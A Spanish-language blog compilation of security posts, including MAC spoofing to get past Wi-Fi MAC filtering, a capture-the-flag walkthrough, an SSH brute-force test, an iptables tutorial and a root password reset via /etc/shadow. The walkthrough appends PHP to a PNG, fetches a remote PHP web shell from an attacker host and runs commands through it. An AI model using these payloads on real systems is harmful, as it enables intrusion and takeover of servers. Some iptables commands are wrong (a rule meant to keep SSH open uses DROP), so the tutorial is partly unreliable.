Para que ponerle clave WEP si el que supiera desencriptar la WEP también podría cambiar la MAC... pero da la casualidad de que es más sencillo cambiar la MAC que desencriptar la WEP.

ifconfig <interface> down
ifconfig <interface> hw ether CA:FE:CA:FE:CA:FE
ifconfig <interface> up

De esta manera cambiamos la MAC de una tarjeta de red, y claro si has puesto tu tarjeta Wifi en modo monitor:

airmon-ng start <interface>

"Escucharás" con airodump-ng y detectarás a un cliente conectado, con copiar su MAC e intentar conectarte si la protección del AP es sólo por MAC ya has resuelto el problema.

Desencriptar la clave WEP es muy sencillo y rápido, WPA-PSK es más seguro, siempre que la contraseña para la red no sea un nombre compuesto y si una clave como dios manda con consonantes seguidas, mayusculas, minusculas y simbolos raros. Parece ser que aunque se capture paquetes de una inalámbrica WPA-PSK luego se utilizan diccionarios para obtener la clave.

Tengo que probar con mi red a intentar saltarme la WPA-PSK y cuando tenga el resultado os lo diré ^_^

¿Cómo tienes configurada tu wifi?

esta vez con un día de retraso, acudimos a la cita de intentar desentrañar el fallo de seguridad oculto en este nivel, y como siempre, esperamos que todos aquellos que poco a poco aprendéis con estas guías, podáis seguir profundizando más. Dicho esto, vamos a empezar a resolver el nivel 4 en su modo de juego sencillo. Para el modo avanzado, aquellos que lo estén jugando y tengan alguna duda concreta estaremos encantados de resolverla por email.

Este es el aspecto que presenta el nivel 4. Dividido en 4 secciones:

• Información sobre el sistema
• Administración de MySQL mediante MySQL Admin
• Visualización de Estadísticas
• Cambio de parámetros

Sobre la visualización de estadísticas, poco hay que comentar. Ya nos es familiar porque ya hemos accedido a ella, pero desde otro lugar, durante el nivel 2, por tanto no aporta nada a lo que ya conocemos.

Luego existen 2 partes que contienen aplicaciones públicas, por un lado tenemos phpSysInfo, y por otro phpMyAdmin. En la idea original de este juego está el que no sea necesario el uso de fallos en aplicativos públicos para superarlo, siendo así por un motivo bien sencillo: con el paso del tiempo uno o todos los aplicativos que existen instalados en la máquina virtual serán susceptibles de fallos.

No obstante, podemos evaluar la seguridad de estas versiones, y ver que no parecen existir exploits públicos relevantes para las mismas. Existe un XSS en phpSysInfo, poco relevante para una explotación efectiva, al igual que otro en phpMyAdmin. Comentar como apunte que el hecho de que a fecha de hoy no parezcan existir ataques relevantes no quiere decir, evidentemente, que en un futuro no puedan aparecer, e incluso, y dado que son aplicaciones de código abierto, una vez agotadas el resto de vías, es posible que una revisión exhaustiva de su código fuente, y de su ejecución, pueda revelarnos fallos de seguridad no públicos.

Sin embargo, en el caso que nos ocupa, antes de llegar a la revisión de código público, hay que percatarse de la sección "Cambio de parámetros" la cual permite la subida de un fichero al servidor. Ésta *siempre* es una función crítica y debe ser evaluado su riesgo, ya que permitirá al atacante subir algún tipo de contenido a nuestro sistema.

Para el caso que nos ocupa, podemos darnos cuenta que la robustez y codificación de la subida de imágenes es la apropiada:

• Únicamente permite ficheros con extensión PNG
• El tamaño del fichero está limitado a 8KB
• El contenido del fichero debe corresponder con una imagen PNG

Esto hace que no podamos subir un fichero renombrado como .PNG, sino que debamos subir un gráfico PNG, limitado a 8KB, y con extensión PNG. Por tanto, a priori, podemos pensar que no existe posibilidad alguna de explotar ningún fallo. Bien, veremos que no es así.

Lo primero que debemos plantearnos es: ¿en una imagen PNG únicamente puede existir eso?. La respuesta es que no. Nada más sencillo que concatenar al final de un fichero PNG, código ejecutable en formato PHP. Para ello, a partir de una imagen PNG de menos de 8KB y válida para subirla al servidor, hacemos lo siguiente:

$ cat >> img.png
<? phpinfo(); ?>

Para los no familiarizados con UNIX, decir que simplemente hemos añadido al final del fichero ese código PHP. Una vez hecho esto, tendremos un fichero válido, en formato PNG, que contiene al final del mismo un código PHP. Este fichero podrá ser subido al servidor.

¿Y ahora qué?. Ahora queda percatarse de un par de detalles importantes. El primero, ¿cómo se llama el fichero que contiene la imagen?. En este caso, el fichero de imagen es: http://www.blindware.inc/_controlp/image.php, o dicho de otra forma, un fichero PHP se encarga de servir la imagen, de la que aún desconocemos su nombre y ubicación. ¿Cómo podemos saberla?. Pues haciendo uso del error que vimos en el nivel 3 dentro del fichero index.php, que permitía la lectura de ficheros. Con ese error leemos el contenido de image.php:

<? header("Content-Type: image/png"); readfile("01.png"); ?>

Por tanto, nuestro fichero subido sabemos que se llama "01.png" y que se encuentra en el mismo directorio de /_controlp/ que el resto de datos. ¿Cómo podemos explotar el fichero con contenido PHP?. En este caso concreto, es cuando se puede apreciar, como la subida de ficheros maximiza el riesgo de otro de los fallos encontrados en el nivel 3. Si recordamos además de leer ficheros mediante el error localizado en index.php, podemos incluir ficheros para ser procesados por PHP desde un error con idéntica explotación localizado en login.php. Al hacerlo obtenemos como resultado de incluir nuestro fichero 01.png manipulado lo siguiente:

Como vemos, el contenido de la instrucción phpinfo() se muestra a continuación de los datos contenidos en la imagen. Esta información puede ser poco relevante, pero para la explotación efectiva únicamente hay que construir un exploit ligeramente más elaborado, que bien pudiera ser el que vamos a comentar a continuación.

El objetivo del exploit es conseguir crear una shell en PHP dentro de esta máquina. Para ello, el código que proponemos incluir dentro de la imagen es el siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); ?>

Vaya por delante que la explotación se puede realizar de muchas maneras. Nosotros por elegancia, siempre proponemos que el código a incluir en el exploit sea mínimo. En este caso, el exploit únicamente copia una shell remota localizada en shell.txt al servidor victima.

El contenido de shell.txt puede ser el siguiente:

<?
header(“Content-Type: text/plain”);
passthru($_GET[“cmd”);
?>

El objetivo de este script es ejecutar el comando que pasemos como parámetr en la variable "cmd". De tal forma, si ahora subimos la imagen con el primer código al servidor, y colocamos en la IP de un servidor web que usemos para el ataque el fichero “shell.txt”, debemos conseguir que este se copie al servidor y acceder a él desde la dirección http://www.blindware.inc/_controlp/shell.php

Aquí aparece un problema. Al acceder a esa URL veremos que no aparece nada, y es que hay un detalle importante siempre que subamos contenido ejecutable a un servidor. A priori no sabemos qué permisos serán necesarios para su ejecución, y la función copy lo más probable es que haya creado un fichero con permisos 644. Para ello podemos verificar qué permisos tienen los ficheros php de los que conocemos su existencia. En este caso los ficheros deben tener permisos 755. Por ello tenemos que modificar ligeramente el exploit a incluir dentro del fichero PNG al siguiente:

<? copy(“http://ip/shell.txt”,”shell.php”); chmod(“shell.php”,0755); ?>

Nota: importante colocar un 0 delante del 755, sino no conseguiremos los permisos rwxr-xr-x

Hecho esto, tendremos acceso al sistema de forma remota y habremos superado el nivel, como muestran las siguientes URLs:

http://www.blindware.inc/_controlp/shell.php?cmd=uname%20-a
Linux sauron 2.6.18-1.2798.fc6 #1 SMP Mon Oct 16 14:54:20 EDT 2006 i686 i686 i386 GNU/Linux

http://www.blindware.inc/_controlp/shell.php?cmd=id

uid=500(blindware) gid=500(blindware) groups=500(blindware)

Hasta aquí ha llegado este 4º nivel, en el que hemos avanzado de nuevo hasta conseguir ejecutar comandos en el servidor. Os esperamos dentro de 15 días con el siguiente nivel.

El objevito era mi servidor local con ubuntu 7.10, con ssh activado al que iba a intentar "forzar".

Para no andar enguarrando mi sistema con librerias, instalaciones y configuraciones que solo serían para la demostración me encontré con esta distribución live que ya disponía de varias herramientas.

http://www.remote-exploit.org/backtrack.html

Esta distribución live ya dispone de Jonh The Riper. Pero aún así el wordlist que utilicé para el brute force fue:

ftp://ftp.cerias.purdue.edu/pub/dict/wordlists/spanish/words.spanish.gz

Podemos ver como funciona esta herramienta en un video:

http://icaix.com/tutoriales/bruteForce.htm

En este video se puede observar como tras andar probando contraseñas contra el puerto ssh del objetivo acaba encontrando la contraseña adecuada.

Bien, tras tener las herramientas a probar y sabiendo como utilizarlas me dispuse a realizar la prueba de ataque a mi servidor local.

El resultado no fue el esperado, ya que un ataque por SSH a los 5 intentos del brute force rechazaba más intentos. Lo que primero intenté fue agregar más parametros al comando de "ataque" para así intentar hacer más intentos. Los resultados no obtuvieron éxito.

Entonces podemos confirmar que este tipo de ataques caen en el olvido y serían técnicas del "pasado". Hablo de mi ignorancia del tema y del tiempo que he podido disponer para realizar estas pruebas.

No obstante es entretenida la prueba y conocer como funciona. Esta herramienta es válida para intentar "forzar" la entrada a diferentes servicios, entre los que se incluye VNC, FTP...

Os recomiendo que probar esta herramienta, aunque eso sí, tener en cuenta que si intentáis acceder a una máquina que no sea de vuestra propiedad se considera una acción ilegal.

El nivel de dificultad normal está indicado para aquellas personas que teniendo conocimientos técnicos quieran familiarizarse con la realización de test de intrusión. En él las ayudas son bastantes, y aunque se deban superar los mismos retos, cuentan con numerosas indicaciones que les serán de utilidad.

Por su parte el nivel de dificultad alta, se recomienda a personas experimentadas que quieran pasar un buen rato y poner a prueba sus conocimientos. En él todas las explotaciones son "a ciegas", con ningún tipo de indicación o ayuda.

Esperamos que todos aquellos que lo prueben, pasen un buen rato, además de servirles para aprender o mejorar conocimientos.

Contenidos Descargables

* SecGame #1 Sauron: Máquinas virtuales
o Descargar máquina virtual Sauron (530MB. Dificultad Normal)
o Descargar máquina virtual Sauron (519MB. Dificultad Alta)

* Manules de instalación
o Manual de instalación para Windows (PDF)
o Manual de instalación para Linux (PDF)

* Binarios para Windows
o Qemu Manager 4.0
o OpenVPN 2.0.9

Visto en: SG6

Indagando por internet a ver si encontraba algo similar para matar alguna hora de aburrimiento me he encontrado con este sitio web: http://www.hackerslab.org donde puedes registrarte e intentar poner a prueba tus conocimientos, una máquina online dispuesta para juegos ^_^

Al conectarnos a internet en nuestras casas, de forma explícita nos estamos conectando, en AMBOS sentidos: directamente a la red, "desnudos" si se me permite la analogía. El objetivo de este artículo es, medinte iptables, lograr cierta protección y seguridad. Nótese que un firewall no garantiza 100% de seguridad.
Para este artículo, se requieren conocimientos básicos/intermedios acerca de linux y TCP/IP, obviamente implementado bajo dicho sistema operativo.
Cabe destacar que para utilizar iptables, es necesario tener un kernel preparado para éste, y el módulo ip_tables cargado. Del mismo modo, si estas utilizando ipchains, se deben descargar sus módulos antes de cargar los de iptables.
Iptables es una utilidad de linux que se encarga de darle directivas al kernel, acerca del filtrado de paquetes TCP/IP. Un paquete TCP/IP consta de varios campos, con información adicional a los datos que se transmiten en sí. No viene al caso describir cada uno de ellos, sino los que consideraremos mas relevantes, es decir, aquellos campos que mediante iptables, empezaremos a "vigilar". Ejemplo: direccion origen, direccion destino, puerto origen, puerto de destino, etc.

¿Cómo funciona?

El kernel de linux posee (predefinidas "de fábrica") 3 cadenas (chains) de reglas: INPUT, FORWARD y OUTPUT. Cada paquete TCP/IP que ingresa/atraviesa/sale desde/hacia una maquina con iptables funcionando, pasará por la cadena INPUT, FORWARD o OUTPUT respectivamente. Las cadenas,no son mas que un listado de reglas, con las cuales controlamos cada uno de los paquetes que pasan. Ahora se preguntaran, que es una regla?. Para evitar las confusiones, vamos a simplificar su definición al máximo, y luego mostrarles algunos ejemplos. Una regla consta de 2 partes, y no es mas que una condición y una acción. Si se cumple la condición se ejecuta la acción. Simple, ¿verdad?
Algo para tener en cuenta mas adelante: si un paquete atravesó todas las reglas de una cadena, sin hallar coincidencia, iptables se fijará en la politica por defecto de esa cadena(default policy).
Resumiendo lo anteriormente dicho:
1) Lo mas importante: tener conocimientos previos en linux y TCP/IP !!!
2) El kernel de linux trae 3 cadenas de reglas (INPUT, FORWARD y OUTPUT)
3) Con iptables se pueden agregar/eliminar reglas (entre otras cosas).

Supongamos la siguiente situación...Había una vez, una red local 192.168.1.0 con 50 PC's, de las cuales destacaremos:
1) aquihacker.mired.lan (192.168.1.15)
2) neutral.mired.lan (192.168.1.18)
3) jose.mired.lan (192.168.1.20)
Nosotros somos los operadores de "jose.mired.lan", estamos corriendo un servicio ftp (wu-ftpd*), y estamos enterados de que el muchacho que usa "aquihacker", es alguien muy curioso, que le gusta investigar en máquinas ajenas, utilizando su interfaz de red.

Experimentando con paquetes icmp

Vamos a ver cual es el estado de nuestras 3 cadenas, listando lo que hay en ellas. Para eso ejecutamos el siguiente comando:
[root@malevolo/]# /sbin/iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destinationSi la salida obtenida no se parece a lo que ven aqui arriba, significa que no tenéis instalados los módulos correspondientes en el kernel, o que ya hay un firewall funcionando, o para confundirlos más: significa que ya se ejecutó un script probablemente en el inicio del sistema donde se cargan las reglas del firewall. Consultad la documentación de la distribución que instaláteis
Suponiendo que la salida que obtuvieron es igual a la escrita aqui arriba, la situación es la siguiente: quiere decir que el firewall esta aceptando todos los paquetes, o lo que es lo mismo, no filtra absolutamente nada. Esto nos indica 2 cosas:

- Las 3 cadenas (INPUT/FORWARD/OUTPUT) estan vacías
- Las 3 cadenas tienen como politica default "ACCEPT".
Es normal que al hacer un ping a localhost (nosotros mismos) recibamos respuesta:

[root@malevolo/][root@malevolo/]# ping localhost
PING localhost.localdomain (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=0 ttl=255 time=0.3ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=1 ttl=255 time=0.1ms
64 bytes from localhost.localdomain (127.0.0.1): icmp_seq=2 ttl=255 time=0.1ms
(y así sucesivamente...)
Vamos a agregar una regla, para entender el funcionamiento:
[root@malevolo/]# /sbin/iptables --append INPUT --protocol icmp --source 127.0.0.1 --jump DROP

Qué es esto? Simple: Agregar (append) la siguiente regla a la cadena INPUT: al recibir un paquete del tipo icmp (--protocol) con origen (--source) "127.0.0.1" y con cualquier destino (ya que no lo especificamos), enviamos ese paquete (--jump) a DROP, que por cierto es lo mismo que dejarlo tirado =). ¿Qué? No pasó nada, ¿verdad? ¿Seguro? Entonces listemos otra vez las reglas que tenemos cargadas (te olvidaste como se hacia??)

[root@malevolo/]# /sbin/iptables -nL
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP icmp -- 127.0.0.1 0.0.0.0/0
Chain FORWARD (policy ACCEPT)
target prot opt source destination
Chain OUTPUT (policy ACCEPT)
target prot opt source destination

Notamos que en la cadena INPUT, se nos agregó una regla, cuya función es impedir que se haga ping desde nuestra propia máquina. Podrán notar que esta regla no es demasiado útil a los fines prácticos, pero si lo es para ejemplificar el uso. ¿Y que es lo que faltaría?
¡¡Comprobar su funcionamiento!! ¡¡Por supuesto!!

[root@malevolo/]# ping localhost
PING localhost.localdomain (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
(y se quedará esperando una respuesta que nunca llegará...)

¿Nuestro firewall está invisible? Claro que no. De hecho, veremos que desde la pc "aquihacker", hacemos ping sin problemas, y nuestra maquina le responde.

[root@aquihacker /]# ping malevolo.mired.lan
PING jose.mired.lan (192.168.1.20) from 192.168.1.15 : 56(84) bytes of data.
64 bytes from 192.168.1.20: icmp_seq=0 ttl=255 time=2.524 msec
64 bytes from 192.168.1.20: icmp_seq=1 ttl=255 time=1.319 msec

Con lo cual, con un simple ping, nuestro amigo operador de "aquihacker" puede notar la presencia de nuestro PC. A no desesperar que esto empieza ahora.

Restringiendo paquetes provenientes del exterio

Puesto que nuestro firewall está filtrando los paquetes ICMP locales, y deja pasar los remotos. Vamos a cambiar un poco las reglas "del juego". Borramos la regla que anteriormente agregamos:[root@malevolo/]# /sbin/iptables --delete INPUT --protocol icmp --source 127.0.0.1 --jump DROP

Esto se logra con la opción "-D", y el resto, es la transcripción EXACTA de la regla que queremos borrar.
NOTA: conociendo que era la única regla, hubieramos logrado el mismo resultado escribiendo:

[root@malevolo/]# /sbin/iptables --delete INPUT 1

Ahora lo que importa: Restringir el acceso a paquetes icmp desde la red!!!

[root@malevolo/]# /sbin/iptables -A INPUT -p icmp -s 192.168.1.15 -j DROP

Nótese que es indistinto escribir -A o --append, -p o --protocol, etc. Ahora, listamos nuestra cadena INPUT:

[root@malevolo/]# /sbin/iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP icmp -- 192.168.1.15 0.0.0.0/0

Listo, ahora cualquier paquete icmp con origen en 192.168.1.15 será "DROPeado". Por ello, cuando nuestro amigo curioso hace ping desde su máquina a la nuestra, jamás tendrá respuesta..

[root@aquihacker /]# ping jose.mired.lan
PING malevolo.mired.lan (192.168.1.20) from 192.168.1.15 : 56(84) bytes of data.

Listo. Para nuestro amigo, nuestra máquina está invisible, por consiguiente, logramos nuestro objetivo de asegurarla.
¿Cierto? ¡¡NOOO!! ¡¡Sacrilegio!! ¡NO no no y nooooO!
Nuestro amigo, extrañado por que el comando ping no respondió, en un principio pensó que tendríamos la PC apagada, pero luego ejecutó...

[root@aquihacker /]# ftp malevolo.mired.lan
Connected to malevolo.mired.lan.
220 malevolo FTP server (Version wu-2.6.1-16) ready.
Name (malevolo:root):

Oh Oh! Nos hemos olvidado que teníamos un FTP server corriendo... Y corriendo apurados agregamos la siguiente regla:

[root@malevolo/]# /sbin/iptables -A INPUT -p tcp -s 192.168.1.15 --dport 21 -j DROP

Listamos la cadena INPUT y obtenemos:

[root@malevolo/]# /sbin/iptables -nL INPUT
Chain INPUT (policy ACCEPT)
target prot opt source destination
DROP icmp -- 192.168.1.15 0.0.0.0/0
DROP tcp -- 192.168.1.15 0.0.0.0/0 tcp dpt:21

Por su parte, nuestro "amigo" se aburrirá de esperar hasta que nuestro FTP le responda (cosa que no sucederá). Interesante, ¿verdad?
Ahora pensemos lo siguiente: ¿que pasa si en nuestra red, de las 50 PC's que la conforman, la mayoría son "amigos curiosos" ??. Agregaremos una regla para cada uno de ellos? Sería un trabajo bastante tedioso, y poco eficiente.
Además, un detalle realmente importante: si bien todas estas reglas, se aplicarían sin problemas, y son correctas sintácticamente, es MUY ACONSEJABLE seguir la filosofía de "Todo lo que no está EXPLICITAMENTE permitido, entonces está prohibido".
Como logramos esto? Como primer paso, setearemos la politica por defecto en DROP (descartar). Cualquier paquete que circula por la cadena INPUT es DROPeado si no coincide con ninguna regla.
En caso de que estén editando el iptables desde una consola local, pueden ignorar el parrafo siguiente:
-------------
* NOTA IMPORTANTE: para aquellos que estan toqueteando el iptables remotamente (ya sea por telnet o ssh), si setean como política DROP para la cadena INPUT se les caerá la conexión. De hecho me pasó a mi, es por eso que previamente deberan agregar la siguiente regla:

[root@malevolo/]# /sbin/iptables -A INPUT -p tcp -s #ORIGEN# --dport #PUERTO# -j DROP

Donde #ORIGEN# es el IP desde donde se están conectando al linux con iptables y #PUERTO# debe ser el 22 (si es conexion ssh) o 23 (si usan telnet).
-------------
Ahora, como decíamos, continuaremos seteando la política de INPUT en DROP (con la opción -P)

[root@malevolo/]# /sbin/iptables -P INPUT -j DROP

Vaciamos todas las cadenas con la opción -F (flush)

[root@malevolo/]# /sbin/iptables -F

Listamos lo que tenemos:

[root@malevolo/root]# /sbin/iptables -nL INPUT
Chain INPUT (policy DROP)
target prot opt source destination

Aunque no tengamos ninguna regla, nadie va a poder acceder a nuestra PC por ningun motivo. Justamente, cualquier paquete que entra, es expuesto a cada regla de la cadena (en nuestro caso nuestra cadena esta vacía), al no encontrar coincidencias, el destino del paquete, lo decide la política de la cadena, osea DROP. El problema aquí es que aunque nosotros podamos realizar
conexiones salientes, las respuestas de los servidores serán descartadas. Para solucionar esto, agregamos la siguiente regla:

[root@malevolo/root]# /sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

Por la cual dejamos pasar cualquier paquete cuya conexión ya se ha establecido (ESTABLISHED), o cuya conexión es nueva, pero está relacionada a una conexión ya establecida (RELATED), según las man pages del iptables (les dije que las lean, no?) Por enésima vez, listamos lo que tenemos en nuestra cadena INPUT!!

[root@malevolo/root]# /sbin/iptables -nL INPUT
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state
RELATED,ESTABLISHED

Con lo cual, nadie podrá iniciar una conexion a nuestra maquina, salvo que
especifiquemos... Como veréis, por defecto tenemos un DROP. Ahora podemos empezar a permitir conexiones. Acceso local:

[root@malevolo/root]# /sbin/iptables -A INPUT -i lo -s 127.0.0.1 -j ACCEPT

-i lo : Con esto especifico como interfaz de red a localhost (lo).

[root@malevolo/root]# /sbin/iptables -nL INPUT
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state
RELATED,ESTABLISHED
ACCEPT all -- 127.0.0.1 0.0.0.0/0

Le permito a "neutral", el acceso ftp (puerto 21)

[root@malevolo/root]# /sbin/iptables -A INPUT -p tcp -s 192.168.1.18 --dport 21 -j ACCEPT
[root@jose /root]# /sbin/iptables -nL INPUT
Chain INPUT (policy DROP)
target prot opt source destination
ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state
RELATED,ESTABLISHED
ACCEPT all -- 127.0.0.1 0.0.0.0/0
ACCEPT tcp -- 192.168.1.18 0.0.0.0/0 tcp dpt:21

Consejos útiles y comentarios finanles

Por último, no apaguéis aun vuestra máquina. Los cambios realizados 'on-the-fly' a iptables, no quedan guardados en ningún archivo, sino que se almacenan en memoria, y como sabréis, al reiniciar, los cambios se borrarán. Tened en cuenta los siguientes consejos:
1) Guardad todas vuestras reglas en un script prolijo, y con comentarios explicando cada regla o grupo de reglas aplicadas
2) En caso de ejecutar el script automáticamente al iniciar la máquina, considerad hacerlo antes de levantar ningún servicio, o mejor aún, antes de levantar ninguna interfaz de red. No os preocupéis por las reglas que hacen referencia a interfaces no levantadas, igualmente son aceptadas por iptables.

Visto en: badopi.org

Es un documento sobre la Instalación y administración de aulas informáticas basadas en Linux, que bien se podría extender a la creación de una LAN para una PYME.

Instalación y administración de aulas informáticas basadas en Linux

El autor: Juan Antonio Martínez Castaño - http://www.dit.upm.es/~jantonio

Sin embargo, Canonical no está libre de culpas: los servidores no podían actualizar su Kernel porque el hardware, que ellos mismos habían patrocinado, era incompatible...

La gran pregunta es ahora si alguno de los archivos distribuídos por esos servidores fueron modificados antes de llegar a otros usuarios.

Artículo completo en Slashdot

Visto en: Viva Linux

A traves de la noticia Gusano come MP3, en S.O. Window que he leido en el blog de nuestro amigo Ilusionas he decido publicar este post.

Si eres uno de los usuarios de Windows afectado por este gusano... recuerda esto:

" ¡¡Con linux no te hubiera pasado!! "

Es necesitamos tener acceso físico a la máquina para poder hacerlo.

La idea, es arrancar con un live CD montar la unidad de disco y editar el fichero /etc/shadow

En mi caso utilicé una Knoppix por la sencillez para realizar las opciones de montaje de disco. Al arrancar el Live CD te detecta las unidades de disco que tiene el equipo, hacemos click con el botón izquierdo del ratón sobre el disco que contiene la información a editar y seleccionamos la opción de "Montar". Una vez montado el disco podemos acceder a su información pero no lo monta con acceso de escritura, por lo que debemos volver a hacer click con el botón izquierdo y seleccionar la opción de "Lectura y Escritura" donde tendremos que confirmar el cambio.

Bien, ya tenemos la mitad del camino hecho. Ahora abrimos un terminal y nos pasamos a root con su - donde introduciremos el password de root del Live CD (creo recordar que en Knoppix el password es "linux")

Editamos el fichero shadow que es el que guarda las contraseñas de los usuarios en linux con nuestro editor favorito; vi,vim,nano,jpico...

El usuario root suele ser el primero, si no una vez localizado observaremos que la linea es como esta:

root:$1$DdeRafk93Adia343kas/:0:0:99999:7:::

Lo único que debemos hacer para dejar el password en blanco es eliminar el churro encriptado del string de la contraseña:

root::0:0:99999:7:::

Ahora al arrancar la máquina el password del root es vacío por lo que una vez iniciada la sesión lo primero que haremos es ponerle una nuevo password:

#root@maquina> passwd

Y ya hemos recuperado el control de la máquina.